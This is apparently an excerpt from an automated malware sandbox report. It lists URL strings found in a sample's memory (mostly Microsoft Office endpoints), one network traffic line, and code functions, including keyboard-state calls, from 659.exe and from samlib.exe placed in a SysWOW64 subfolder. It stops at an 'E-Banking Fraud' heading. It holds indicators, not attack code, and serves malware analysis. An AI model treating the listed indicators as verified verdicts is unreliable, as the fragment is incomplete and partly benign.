            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://onedrive.live.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://onedrive.live.com/embed?
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
            Source: svchost.exe, 00000014.00000003.1546875716.0000023D44F4F000.00000004.00000001.sdmp, svchost.exe, 00000014.00000003.1546854782.0000023D44F33000.00000004.00000001.sdmp, svchost.exe, 00000014.00000003.1546950309.0000023D44F56000.00000004.00000001.sdmpString found in binary or memory: https://picsart.com/privacy-policy?hl=en
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://powerlift.acompli.net
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://retailer.osi.office.net/appstate/query
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://settings.outlook.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://shell.suite.office.com:1443
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://skyapi.live.net/Activity/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://store.office.cn/addinstemplate
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://store.office.com/?productgroup=Outlook
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://store.office.com/addinstemplate
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://store.office.de/addinstemplate
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://store.officeppe.com/addinstemplate
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://tasks.office.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://templatelogging.office.com/client/log
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://web.microsoftstream.com/video/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://wus2-000.contentsync.
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://wus2-000.pagecontentsync.
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
            Source: svchost.exe, 00000014.00000002.1549827888.0000023D44F29000.00000004.00000001.sdmpString found in binary or memory: https://www.digicert.com/CPS0
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://www.odwebp.svc.ms
            Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
            Source: C:\Users\user\659.exeCode function: 4_2_0041E3E9 GetKeyState,GetKeyState,GetKeyState,GetKeyState,4_2_0041E3E9
            Source: C:\Users\user\659.exeCode function: 4_2_00424D66 SendMessageA,UpdateWindow,GetKeyState,GetKeyState,GetKeyState,GetParent,PostMessageA,4_2_00424D66
            Source: C:\Windows\SysWOW64\InfDefaultInstall\samlib.exeCode function: 5_2_0041E3E9 GetKeyState,GetKeyState,GetKeyState,GetKeyState,5_2_0041E3E9
            Source: C:\Windows\SysWOW64\InfDefaultInstall\samlib.exeCode function: 5_2_00424D66 SendMessageA,UpdateWindow,GetKeyState,GetKeyState,GetKeyState,GetParent,PostMessageA,5_2_00424D66

            E-Banking Fraud: